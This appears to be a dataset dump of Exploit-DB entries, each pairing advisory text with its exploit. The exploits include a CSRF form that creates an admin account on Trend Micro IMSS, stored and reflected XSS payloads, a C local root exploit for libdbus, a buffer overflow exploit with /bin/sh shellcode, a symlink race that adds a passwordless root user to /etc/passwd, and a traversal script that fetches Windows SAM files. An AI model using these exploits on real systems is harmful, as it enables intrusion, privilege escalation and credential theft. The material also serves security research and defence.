QLWD/code_shield huggingface dataset:
标题: Trend Micro Interscan Messaging Security Suite - Persistent Cross-Site Scripting / Cross-Site Request Forgery EDB-ID: 21319 CVE: 2012-2996 2012-2995 类型: WEBAPPS 平台: AIX 发布日期: 2012-09-14 漏洞利用脚本: # Exploit Title: Trend Micro InterScan Messaging Security Suite Stored XSS and CSRF
# Date: 13/09/2012
# Exploit Author: modpr0be (modpr0be[at]spentera.com)
# Vendor Homepage: http://www.trendmicro.com
# Software Link: http://www.trendmicro.com/ftp/products/interscan/IMSS_v7.1_Win_1394.zip
# Version: 7.1-Build_Win32_1394
# Tested on: Windows 2003 Standard Edition, XAMPP 1.7.4 (Default Config)
# CVE : CVE-2012-2995, CVE-2012-2996

# Software Description
# TrendMicro Interscan Messaging Security is the industry’s most comprehensive 
# mail gateway security. Choose state-of-the-art software or a hybrid solution 
# with on-premise virtual appliance and optional cloud pre-filter that blocks 
# the vast majority of spam and malware outside your network. Plus our Data 
# Privacy and Encryption Module secure outbound data to ensure privacy and 
# regulatory compliance.

# Vulnerability Overview
# Trend Micro InterScan Messaging Security Suite is susceptible to cross-site scripting (CWE-79) 
# and cross-site request forgery (CWE-352) vulnerabilities.

# Proof of Concept
# Persistent/Stored XSS
# this POC will store defined URL to white list URL page. Each time we access to this page, the XSS word
# will pop up to the user. You can change the alert message box to something nasty (e.g redirect to beef??)
hxxps://127.0.0.1:8445/addRuleAttrWrsApproveUrl.imss?wrsApprovedURL=xssxss"><script>alert('XSS')</script>

# Non-persistent/Reflected XSS
# This is non-persistent XSS, you might lure target user to click this link :)
hxxps://127.0.0.1/initUpdSchPage.imss?src="><script>alert('XSS')</script>

# Cross-Site Request Forgery
# This POC should be targeted to user with admin privilege
# It will add admin user with user quorra, and password quorra.123
# Target victim must be authenticated when perform this POC
<html>
<body>
<form action="hxxps://127.0.0.1:8445/saveAccountSubTab.imss" method="POST">
<input type="hidden" name="enabled" value="on" />
<input type="hidden" name="authMethod" value="1" />
<input type="hidden" name="name" value="quorra" />
<input type="hidden" name="password" value="quorra.123" />
<input type="hidden" name="confirmPwd" value="quorra.123" />
<input type="hidden" name="tabAction" value="saveAuth" />
<input type="hidden" name="gotoTab" value="saveAll" />
<input type="submit" value="CSRF" />
</form>
</body>
</html>

# References
# http://www.spentera.com/advisories/2012/SPN-05-2012.html
# http://www.kb.cert.org/vuls/id/471364
# http://www.trendmicro.com/us/enterprise/network-security/interscan-message-security/index.html URL: https://www.exploit-db.com/exploits/21319
标题: OpenSSH 2.x/3.0.1/3.0.2 - Channel Code Off-by-One EDB-ID: 21314 CVE: 2002-0083 类型: REMOTE 平台: UNIX 发布日期: 2002-03-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/4241/info

OpenSSH is a suite implementing the SSH protocol. It includes client and server software, and supports ssh and sftp. It was initially developed for BSD, but is also widely used for Linux, Solaris, and other UNIX-like operating systems.

A vulnerability has been announced in some versions of OpenSSH. An off-by-one error occurs in the channel code. A malicious client may exploit this vulnerability by connecting to a vulnerable server. Valid credentials are believed to be required, since the exploitable condition reportedly occurs after successful authentication. An examination of the code suggests this, but it has not been confirmed by the maintainer.

Administrators should assume that this can be exploited without authentication and should patch vulnerable versions immediately. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21314.tgz URL: https://www.exploit-db.com/exploits/21314
标题: Microsoft IIS 4.0/5.0/5.1 - Authentication Method Disclosure EDB-ID: 21313 CVE: 2002-0419 类型: REMOTE 平台: WINDOWS 发布日期: 2002-03-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/4235/info

Microsoft IIS supports Basic and NTLM authentication. Reportedly, the authentication methods supported by a given IIS server can be revealed to an attacker through the inspection of returned error messages, even when anonymous access is also granted.

When a valid authentication request is submitted for either message with an invalid username and password, an error message will be returned. This happens even if anonymous access to the requested resource is allowed. An attacker may be able to use this information to launch further intelligent attacks against the server, or to launch a brute-force password attack against a known username. 

GET / HTTP/1.1
Host: iis-server
Authorization: Basic cTFraTk6ZDA5a2xt

GET / HTTP/1.1
Host: iis-server
Authorization: Negotiate TlRMTVNTUAABAAAAB4IAoAAAAAAAAAAAAAAAAAAAAAA= URL: https://www.exploit-db.com/exploits/21313
标题: BPM Studio Pro 4.2 - HTTPd Directory Traversal EDB-ID: 21311 CVE: 2002-0331 类型: REMOTE 平台: WINDOWS 发布日期: 2002-02-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/4198/info

BPM Studio Pro is a shareware MP3 mixer and player. It runs on Microsoft Windows operating systems. BPM Studio Pro includes a HTTP server for managing the player via a web interface.

The BPM Studio Pro HTTPD does not adequately filter dot-dot-slash (../) sequences from web requests. As a result, it is possible for a remote attacker to break out of wwwroot and browse the filesystem of the host. This may lead to disclosure of sensitive information as the remote attacker may display arbitrary web-readable files.

This is compounded by the fact that webservers on Microsoft Windows systems are normally run with SYSTEM privileges.

This issue reportedly affects BPM Studio Pro 4.2. Earlier versions may also be affected. It also should be noted that the HTTPD implementation is not enabled by default. 


http://BPM-HOST/../../../../autoexec.bat URL: https://www.exploit-db.com/exploits/21311
标题: xtell 2.6.1 - User Status Remote Information Disclosure EDB-ID: 21310 CVE: 2002-0333 类型: REMOTE 平台: LINUX 发布日期: 2002-02-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/4196/info

xtell is a simple network messaging program. It may be used to transmit terminal messages between users and machines. xtell is available for Linux, BSD and most other Unix based operating systems.

An information disclosure vulnerability has been reported in some versions of xtell. When a message is sent to a user, the response generated by xtell states whether that user is currently logged on to the system. An attacker may be able to use this information to aid in additional attacks, or in social engineering attempts.

It is possible to send a maliciously formatted message to xtell such that this information is disclosed, yet no message is displayed or logged. This may allow the attack to go undetected.

Earlier versions of xtell may share this vulnerability. This has not been confirmed. 

echo :USER::`perl -e 'print "A" x 2000'`| nc victimhost 4224 URL: https://www.exploit-db.com/exploits/21310
标题: libdbus - 'DBUS_SYSTEM_BUS_ADDRESS' Local Privilege Escalation EDB-ID: 21323 CVE: 2012-3524 2012-4425 类型: LOCAL 平台: LINUX 发布日期: 2012-07-17 漏洞利用脚本: /* dzug.c CVE-2012-3524 PoC (C) 2012 Sebastian Krahmer
 *
 * Trivial non-dbus root exploit. (Yes, it is 2012!)
 *
 * The underlying bug (insecure getenv() by default) has been
 * reported ages ago, but nobody really cared. Unless you have an
 * exploit...
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/signal.h>
#include <sys/stat.h>


int main(int argc, char **argv)
{
 int i = 0;
 struct stat st;
 pid_t pid = 0;
 char *env[] = {
     "PATH=/tmp:/usr/bin:/usr/sbin:/sbin:/bin",
     "DBUS_STARTER_BUS_TYPE=system",
     "DBUS_SYSTEM_BUS_ADDRESS=autolaunch:",
     NULL,
     NULL
 };


 /* the pam_systemd vector */
 char *su[] = {"/bin/su", NULL, "blah", NULL};

 /* the spice vector */
 char *spice[] = {"/usr/libexec/spice-gtk-x86_64/spice-client-glib-usb-acl-helper", NULL};

 /* the Xorg vector, for older Linux dists and Solaris */
 char *xorg[] = {"/usr/bin/Xorg", ":7350", NULL};

 char **a = xorg;
 char *dbus[] = {"/tmp/dbus-launch", NULL};
 char *sh[] = {"/bin/bash", "--noprofile", "--norc", NULL};
 char me[0x1000];

 if (geteuid() == 0 && argc > 1) {
  chown("/tmp/dbus-launch", 0, 0);
  chmod("/tmp/dbus-launch", 04755);
  exit(errno);
 } else if (geteuid() == 0) {
  setuid(0);
  execve(*sh, sh, NULL);
  return errno;
 }

 printf("[**] CVE-2012-3524 xSports -- this is not a dbus exploit!\n\n[*] Preparing ...\n");
 memset(me, 0, sizeof(me));

 if (readlink("/proc/self/exe", me, sizeof(me) - 1) < 0) {
  /* Solaris */
  readlink("/proc/self/path/a.out", me, sizeof(me) - 1);
 }
 symlink(me, "/tmp/dbus-launch");

 if (stat(spice[0], &st) == 0) {
  if ((st.st_mode & 04000) == 04000) {
   printf("[+] Using spice helper ...\n");
   a = spice;
  }
 } else if (stat("/lib64/security/pam_systemd.so", &st) == 0) {
  printf("[+] Using pam_systemd helper (type user passwd when asked) ...\n");
  env[3] = "DISPLAY=:7350";
  su[1] = getenv("USER");
  a = su;
 } else if (stat(xorg[0], &st) == 0) {
  if ((st.st_mode & 04000) == 04000)
   printf("[+] Using Xorg helper ...\n");
  else {
   printf("[-] No suitable suid helper found.\n");
   exit(0);
  }
 } else {
  printf("[-] No suitable suid helper found.\n");
  exit(0);
 }

 if ((pid = fork()) == 0) {
  execve(*a, a, env);
  exit(0);
 }

 printf("[*] Waiting 10s for dbus-launch to drop boomshell.\n");

 for (i = 0; i < 10; ++i) {
  sleep(1);
  printf("."); fflush(stdout);
 }
 kill(pid, SIGKILL);
 waitpid(pid, NULL, 0);

 for (;;) {
  stat(*dbus, &st);
  if ((st.st_mode & 04755) == 04755)
   break;
  sleep(1);
 }
 printf("\n[!] Hurra!\n");

 execve(*dbus, dbus, NULL);
 return errno;
} URL: https://www.exploit-db.com/exploits/21323
标题: Working Resources BadBlue 1.5/1.6 - Directory Traversal EDB-ID: 21303 CVE: 2002-0325 类型: REMOTE 平台: WINDOWS 发布日期: 2002-02-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/4179/info

Working Resources BadBlue is a webserver intended to share various resources and is developed for Microsoft Windows environments.

BadBlue is prone to directory traversal attacks. It is possible for a remote attacker to submit a malicious web request containing triple-dot-slash (.../) sequences to break out of wwwroot. The attacker may browse arbitrary web-readable files on the host running the vulnerable software.

On Windows operating systems, webservers run in the SYSTEM context. A remote attacker may exploit this vulnerability to read any file on the host that will render in their web browser.

Deerfield's D2Gfx is powered by BadBlue v1.02 and should be considered vulnerable as well. 

http://server/.../...//file.ext URL: https://www.exploit-db.com/exploits/21303
标题: IkonBoard 2.17/3.0/3.1 - Image Tag Cross-Agent Scripting EDB-ID: 21304 CVE: 2002-0328 类型: WEBAPPS 平台: PHP 发布日期: 2002-02-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/4182/info

Ikonboard is a Web Bulletin Board Service (BBS) software package written in Perl which runs on Unix and Linux variants.

Ikonboard allows users to include images in forum messages using image tags, with the following syntax:

[img]url of image[/img]

It is possible to inject arbitrary script code into forum messages via these image tags. Script code will be executed in the browser of the user viewing the forum message, in the context of the website running the vulnerable software. This may allow an attacker to steal cookie-based authentication credentials.

Reports have indicated that this may be an issue in older versions.

It has also been reported that Ikonboard 3.1.1 is also vulnerable to this issue.

[img]javasCript:alert('Hello world.')[/img]
[IMG]javascript:alert(document.cookie).gif[/IMG] URL: https://www.exploit-db.com/exploits/21304
标题: Snitz Forums 2000 3.0/3.1/3.3 - Image Tag Cross-Agent Scripting EDB-ID: 21308 CVE: 2002-0329 类型: WEBAPPS 平台: ASP 发布日期: 2002-02-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/4192/info

Snitz Forums 2000 is ASP-based web forum software. It runs on Microsoft Windows operating systems.

Snitz Forums 2000 allows users to include images in forum messages using image tags, with the following syntax:

[img]url of image[/img]

It is possible to inject arbitrary script code into forum messages via these image tags. Script code will be executed in the browser of the user viewing the forum message, in the context of the website running the vulnerable software. This may allow an attacker to steal cookie-based authentication credentials. 


[img]javasCript:alert('Hello world.')[/img] URL: https://www.exploit-db.com/exploits/21308
标题: XMB Forum 1.6 pre-beta - Image Tag Script Injection EDB-ID: 21300 CVE: 2002-0316 类型: WEBAPPS 平台: PHP 发布日期: 2002-02-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/4167/info

The Extreme Message Board (XMB) 1.6 Magic Lantern pre-beta version reportedly allows JavaScript and HTML to be entered in messages. This can be achieved by entering script or HTML between [img] and [/img] tags in a forum message.

This has been fixed in the 1.6 Magic Lantern final beta version of XMB. 

[img]javasCript:alert('Hello world.')[/img] URL: https://www.exploit-db.com/exploits/21300
标题: GNUJSP 1.0 - File Disclosure EDB-ID: 21295 CVE: 2002-0300 类型: REMOTE 平台: MULTIPLE 发布日期: 2002-02-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/4125/info

GNUJSP is a freely available, open-source implementation of Sun's Java Server Pages. It will run on most Unix and Linux variants, as well as Microsoft Windows NT/2000 operating systems.

It has been reported that a remote attacker may disclose the contents of directories via a specially crafted web request. This may be exploited to list directories, read the contents of arbitrary web-readable files, and disclose script source code. The attacker simply appends the name of the directory and/or file to be disclosed to a web request for /servlets/gnujsp/.

It should be noted that this may allow an attacker to circumvent .htaccess files.

This issue may be the result of a configuration error. 

http://site/servlets/gnujsp/[dirname]/[file] URL: https://www.exploit-db.com/exploits/21295
标题: Powie PForum 1.1x - 'Username' Cross-Site Scripting EDB-ID: 21299 CVE: 2002-0319 类型: WEBAPPS 平台: PHP 发布日期: 2002-02-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/4165/info

Powie PForum is web forum software, written in PHP and back-ended by MySQL. It will run on most Unix and Linux variants, as well as Microsoft Windows operating systems.

PForum is prone to cross-site scripting attacks. It is possible for an attacker to construct a malicious link which includes arbitrary script code. In particular, the username URL parameter does not filter variations of HTML tags. A legitimate user who browses the malicious link will have the attacker-supplied script code executed in their browser, in their context of the website running the vulnerable software.

This may enable an attacker to steal cookie-based authentication credentials from the legitimate user. 

http://www.server.com/pforum/edituser.php?boardid=&amp;agree=1
&amp;username=%3Cscript%3Ealert(document.cookie)%3C/script%3E
&amp;nickname=test&amp;email=test@test.com&amp;pwd=test&amp;pwd2=test&amp;filled=1 URL: https://www.exploit-db.com/exploits/21299
标题: Century Software Term For Linux 6.27.869 - Command Line Buffer Overflow EDB-ID: 21302 CVE: 2002-0327 类型: LOCAL 平台: LINUX 发布日期: 2002-02-25 漏洞利用脚本: // source: https://www.securityfocus.com/bid/4174/info

Term is a commercially available software package for Unix and Linux operating systems. It is distributed and maintained by Century Software.

Under some circumstances, it may be possible for a local user to execute arbitrary code. Term does not properly check bounds when receiving arguments via the tty option on the commandline. As a result, it is possible for a local user to execute the callin and callout programs of Term, and overwrite process memory. This could result in the overwriting of stack variables, including the return address. The callin and callout programs are by default installed setuid root.

/********************************************************/
/* ex-callin.c - Haiku Hacker <haiku@hushmail.com> */
/* Exploits the buffer overflow in Century Software's */
/* calling component of the Term program for Linux. */
/********************************************************/
/* Greets, love, and respect to:   */
/* KF, Merc, Synapse, UPT old and new, Lance Spitzner, */
/* egami, comega, jericho, and most importantly sl1k */
/* for his guidance, coaching, and tutoring.  */
/********************************************************/
/* RFP's Pants      */
/* -----------      */
/* Rain Forest Puppy     */
/* Wears tight black pants to big cons   */
/* Does he have limp wrist?    */
/********************************************************/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

/* use this to specify the location of callin */
#define CINPATH "./callin"


int main(int argc, char **argv)
{
 /* Shellcode borrowed from Aleph1 */
 char shellcode[] =
  "\x29\xc0\x29\xdb\x29\xc9\x29\xd2\xb0\xa4\xcd\x80"
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89"
  "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
  "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff"
  "\xff\xff/bin/sh";

 char egg_string[300];
 int i;
 unsigned long offset = 0;

 if (argc > 1)
 {
  offset = atoi(argv[1]);
 }

 memcpy(egg_string, "tty", 3);

 for (i = 3; i < 95; i++)
  egg_string[i] = 'A';

 *(long *)(egg_string+95) = 0xbffff67c + offset; 

 for (i = 99; i < 300; i++)
  egg_string[i] = 0x90;

 strcpy(egg_string+(sizeof(egg_string)-strlen(shellcode)), shellcode);

 execl(CINPATH, "callin", egg_string, 0);
} URL: https://www.exploit-db.com/exploits/21302
标题: OpenBB 1.0.x - Image Tag Cross-Agent Scripting EDB-ID: 21301 CVE: 2002-0330 类型: WEBAPPS 平台: PHP 发布日期: 2002-02-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/4171/info

OpenBB is web forum software written in PHP. It will run on most Linux and Unix variants, in addition to Microsoft Windows operating systems.

OpenBB allows users to include images in forum messages using image tags, with the following syntax:

[img]url of image[/img]

It is possible to inject arbitrary script code into forum messages via these image tags. Script code will be executed in the browser of the user viewing the forum message, in the context of the website running the vulnerable software. This may allow an attacker to steal cookie-based authentication credentials.

[img]javasCript:alert('Hello world.')[/img] URL: https://www.exploit-db.com/exploits/21301
标题: Rit Research Labs The Bat! 1.53 - Microsoft Denial of Service Device Name Denial of Service EDB-ID: 21307 CVE: 2002-0338 类型: DOS 平台: WINDOWS 发布日期: 2002-02-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/4187/info

The Bat! is an e-mail client for Microsoft Windows operating systems.

A problem occurs with The Bat! when it is configured to save attachments seperately from the body of a message. It is possible to include a MS-DOS device name (such as CON, AUX, PRN, etc.) in the filename of the attachment to cause a denial of service to an e-mail client with this configuration.

This appears to be an issue with The Bat! version 1.53d. Earlier versions do not appear to be affected.

bash-2.03$ sendmail -U test@test.com
From: test
To: test
Content-Type: apllication/exe; name=lpt1

Test URL: https://www.exploit-db.com/exploits/21307
标题: Phusion WebServer 1.0 - Directory Traversal (2) EDB-ID: 21292 CVE: 2002-0288 类型: REMOTE 平台: WINDOWS 发布日期: 2002-02-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/4117/info
 
Phusion Webserver is a commercial HTTP server that runs on Microsoft Windows 9x/NT/2000 operating systems.
 
Phusion Webserver is prone to directory traversal attacks. It is possible to break out of wwwroot using triple-dot-slash (.../) sequences containing HTTP-encoded variations of "/" and "\". As a result, a malicious web user may browse web-readable files on the host running the vulnerable software.
 
This vulnerability may potentially result in the disclosure of sensitive information contained in web-readable files on the host.
 
It should be noted that webservers normally run with SYSTEM privileges on Microsoft Windows operating systems. 

#!/usr/bin/perl
#
# THIS SCRIPT ONLY FOR WINDOWS WITH PERL OR CYGWIN 
# 
# Simple script to get files on server. 
# 
# Maybe u need this line for windows:
# #! c:\perl\bin\perl.exe
#
# Phusion Webserver v1.0 proof-of-concept exploit.
# By Alex Hernandez <al3xhernandez@ureach.com> (C)2002.
#
# Thanks all the people from Spain and Argentina.
# Special Greets: White-B, Pablo S0r, Paco Spain, L.Martins, 
# G.Maggiotti & H.Oliveira.
# 
#
# Usage: perl -x Phusion-GET.pl <And read the Intructions>
#  
#


print("\nPhusion Webserver v1.0 GET Files exploit (c)2002.\n");
print("Alex Hernandez al3xhernandez\@ureach.com\n\n");


print <<"EOT";
Please type the address remote webserver, example: www.whitehouse.gov
[Default remote Webserver is "127.0.0.1"`]:
EOT
$host = <>;

print <<"EOT";
Please type only in the directory where the file is located you want to
download, 
example: /winnt/repair/
[default directory is "/winnt/repair/"] :#For IIS 4-5
EOT
$directory = <> || "/winnt/repair/";


print <<"EOT";
Please type in the filename you want download example: sam._ 
[default file is "sam._"] :
EOT
$file = <> || "sam._";

{
#Maybe u to change this line depending of PATH installation.
system("explorer.exe", "http://$host:80/../../..$directory$file");
}

print <<"EOT"; URL: https://www.exploit-db.com/exploits/21292
标题: Tarantella Enterprise 3 - Symbolic Link EDB-ID: 21290 CVE: 2002-0296 类型: LOCAL 平台: UNIX 发布日期: 2002-02-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/4115/info

Tarantella Enterprise 3 contains a locally exploitable symbolic link vulnerability during it's installation procedure.

This vulnerability can be exploited to elevate privileges. An attacker anticipating the install of Tarantella could create a symbolic link to any file as '/tmp/spinning'. When the installation utility is run, the file pointed to by the link will be made world writeable.

The attacker may gain root privileges by overwriting a file such as '/etc/passwd'.

#!/bin/bash
#Larry W. Cashdollar  lwc@vapid.dhs.org
#http://vapid.dhs.org
#Tarantella Enterprise 3 symlink local root Installation exploit
#For educational purposes only.
#tested on Linux.  run and wait.


echo "Creating symlink."

/bin/ln -s /etc/passwd /tmp/spinning

echo "Waiting for tarantella installation."

while true
do
echo -n .
if [ -w /etc/passwd ]
then
        echo "tarexp::0:0:Tarantella Exploit:/:/bin/bash" >> /etc/passwd
        su - tarexp
        exit
fi
done URL: https://www.exploit-db.com/exploits/21290
标题: Sawmill 6.2.x - Admin Password Insecure Default Permissions EDB-ID: 21288 CVE: 2002-0265 类型: LOCAL 平台: MULTIPLE 发布日期: 2002-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/4077/info

Sawmill is commercial log analysis software. It runs on most Unix and Linux variants, Microsoft Windows NT/2000 operating systems and MacOS.

Sawmill creates the file AdminPassword with insecure default permissions on Solaris platforms. AdminPassword is created with world readable/writeable permissions, regardless of the password_file_permissions setting in the DefaultConfig file. The password_file_permissions in DefaultConfig are set to 600 by default, indicating that the AdminPassword file should only be readable/writeable by the owner of the file.

A local attacker may exploit this condition to overwrite the AdminPassword file with attacker-supplied values. This effectively allows the attacker to gain unauthorized access to restricted Sawmill pages.

Reports suggest that this issue only affects versions of Sawmill running on the Solaris operating system. It has not been confirmed whether versions on other operating systems are affected by this vulnerability. 

rm AdminPassword; echo mypasswd | perl -p -e 'chomp' | md5sum | sed 's/ -//' | perl -p -e 'chomp' > AdminPassword URL: https://www.exploit-db.com/exploits/21288